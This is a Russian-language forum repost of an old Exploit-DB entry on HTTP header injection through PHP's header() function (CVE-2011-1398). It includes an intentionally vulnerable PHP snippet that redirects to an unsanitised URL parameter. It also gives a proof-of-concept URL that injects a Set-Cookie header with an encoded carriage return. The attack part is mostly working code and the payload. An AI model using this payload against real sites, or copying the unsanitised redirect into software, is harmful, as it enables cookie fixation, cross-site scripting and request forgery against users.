Exploit PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
37688
Проверка EDB
  1. Пройдено
Автор
MR. TOKUMARU
Тип уязвимости
REMOTE
Платформа
PHP
CVE
cve-2011-1398
Дата публикации
2011-10-06
PHP 5.3.11/5.4.0RC2 - 'header()' HTTP Header Injection
Код:
source: https://www.securityfocus.com/bid/55297/info

PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.

By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

PHP 5.1.2 is vulnerable; other versions may also be affected. 

<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>

http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo
 
Источник
www.exploit-db.com

Похожие темы